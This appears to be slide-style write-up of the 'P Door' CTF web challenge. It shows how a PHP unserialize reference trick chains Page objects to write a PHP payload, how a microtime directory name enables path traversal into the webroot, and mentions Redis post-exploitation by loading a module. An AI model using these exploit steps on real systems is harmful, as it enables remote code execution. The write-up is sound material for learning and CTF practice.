P Door

Challenge

- You have access to website.
- There is only two functions on this site: authentication (registration is allowed) and publishing post

Source code

There is /.git/ directory in web root with full application source code.

- https://github.com/internetwache/GitTools
- https://github.com/kost/dvcs-ripper

Unserialize

```
public function doPublish(){
    $this->checkAuth();
    $page = unserialize($_COOKIE["draft"]);
    $fname = $_POST["fname"];
    $page->publish($fname);
    ...
}
```

Write

```
public static function writeToFile($path, $content) {
    $info = pathinfo($path);
    if (!is_dir($info["dirname"]))
        throw new Exception("Directory doesn't exists");
    if (is_file($path))
        throw new Exception("File already exists");
    file_put_contents($path, $content);
}
```

What

```
public function render(): string {
  ...
  $this->view = array();
  $this->view["content"] = file_get_contents($tpl);
  $this->vars["user"] = $user->name;
  $this->vars["text"] = $this->text;
  $this->vars["rendered"] = microtime(true);
  $content = $this->renderVars();
  $header = $this->getHeader();
  return $header.$content;
}
```

What

PHP unserialize supports references.

References in PHP are a means to access the same variable content by different names.

- https://2018.zeronights.ru/wp-content/uploads/materials/9%20ZN2018%20WV%20-%20PHP%20unserialize.pdf

What

```
class Page {
    $template = "...";
    $header = "...";
    $view = array(
        "content" => "...",
    );
    $vars = array(
        "user" => "...",
        "text" => "...",
        "rendered" => "...",
    )
}
```

What

```
$p = new Page("main");
$p->text = "PWN";
$p->vars["text"] = &$p->view;
```

What

```
class Page {
    $template = "...";
    $header = "...";
    $view = array(
        "content" => "...",
    );
    $vars = array(
        "user" => "...",
        "text" => Ref(),
        "rendered" => "...",
    )
}
```

What

```
public function render(): string {
  ...
  $this->view = array();
  $this->view["content"] = file_get_contents($tpl);
  $this->vars["user"] = $user->name;
  $this->vars["text"] = $this->text."\n";//$this->view="PWN"
  $this->vars["rendered"] = microtime(true);
  $content = $this->renderVars(); // $this->view["content"];
  $header = $this->getHeader();
  return $header.$content;
}
```

What

```php
$this->view = "PWN";
// Due to $this->view is a string now...
$this->view["content"] ~~ $this->view[0];
```

Now we can create page which will bypass filtering and render any 1 character. Luckily we can chain several pages together

What

```
$payload = "<?php phpinfo();";
$expl = false;
for ($i=0; $i<strlen($payload); $i++){
  $p = new Page("main");
  $p->text= $payload[$i];
  $p->vars["text"] = &$p->view;
  if ($expl) $p->header = $expl;
  $expl = $p;
}
echo $p; // <?php phpinfo();
```

Where

```
public function publish($filename) {
    $user = User::getInstance();
    $ext = substr(strstr($filename, "."), 1); // Unsafe!

    $path = $user->getCacheDir() . "/" . microtime(true) .
"." . $ext;

    $user->checkWritePermissions();
    Cache::writeToFile($path, $this);
}
```

Where

```
public static function writeToFile($path, $content) {
    $info = pathinfo($path);
    if (!is_dir($info["dirname"]))
        throw new Exception("Directory doesn't exists");
    if (is_file($path))
        throw new Exception("File already exists");
    file_put_contents($path, $content);
}
```

We can't simply use path traversal because target directory must exist

Where

```
$path = "/tmp/cache/$username/$microtime.$ext";
```

Resulting path with traversall:

```
/tmp/cache/u/1561834661.1119./../../../../var/www/html/x.php
```

We need to create "1561834661.1119." directory

Where

```
public function getCacheDir(): string {
    $dir_path = self::CACHE_PATH . $this->name;
    if (!is_dir($dir_path)){
        mkdir($dir_path);
    }
    return $dir_path;
}
```

We can create arbitrary directories by crafting user cookies.

Where

So the exploit is:

1. Get server microtime from "rendered" field of published page
2. Create directories on server making time window for future upload requests.
3. Try to put payload using path traversal to webroot.

(With 1 thread exploit takes 5-10 minutes)

Redis

```
# cat /docker-compose.yaml
version: '3.3'
services:
    db:
     image: redis:5.0
     restart: always
     volumes:
        - "./flag:/flag"
```

Sorry mario, but the flag is on another server. We need to pwn redis.

Redis

Kudos to WCTF2018 and 0daysober's challenge - the source of inspiration for cool research:

https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf

TL;DR - it's possible to upload arbitrary file to redis server and load it as shared object library.

Thank you